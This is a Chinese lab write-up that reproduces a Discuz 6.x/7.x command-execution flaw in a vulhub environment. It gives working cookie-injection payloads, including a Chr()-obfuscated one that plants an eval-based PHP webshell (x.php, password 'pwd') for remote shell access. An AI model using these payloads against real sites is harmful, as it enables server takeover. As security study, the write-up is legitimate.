漏洞复现-Discuz-命令执行(wooyun-2010-080723)
0x00 实验环境
攻击机:win10
靶机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
Discuz 7.x 6.x版本
0x02 实验目的
学习discuz的部分漏洞原理,并复现该漏洞,为以后的更多的挖洞姿势做准备
0x03 实验步骤
首先是对环境进行搭建,这个复现比较特殊,需要我们先安装Discuz。
自行对以下内容进行填写(前提是需要记得住),数据库默认账号为root,密码为root
安装成功,接下来我们进行下一步
进入到访问页面,查看到以下内容后,可开始进行漏洞复现:
安装成功后,找到一个帖子,可直接进行命令执行的操作:
此为管理员发布的一条帖子,我们抓包后通过修改cookie的操作也直接进行命令执行:
将Cookie内的内容修改为:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
发现以上命令执行成功,进行写入shell的操作:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
在上述代码中,文件为:x.php 密码为: pwd
然后我们访问http://[IP]:[Port]/x.php,连上写入的马,使用蚁剑连接成功,这样就getshell了:
0x04 实验原理
(1)由于php版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
(2)如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。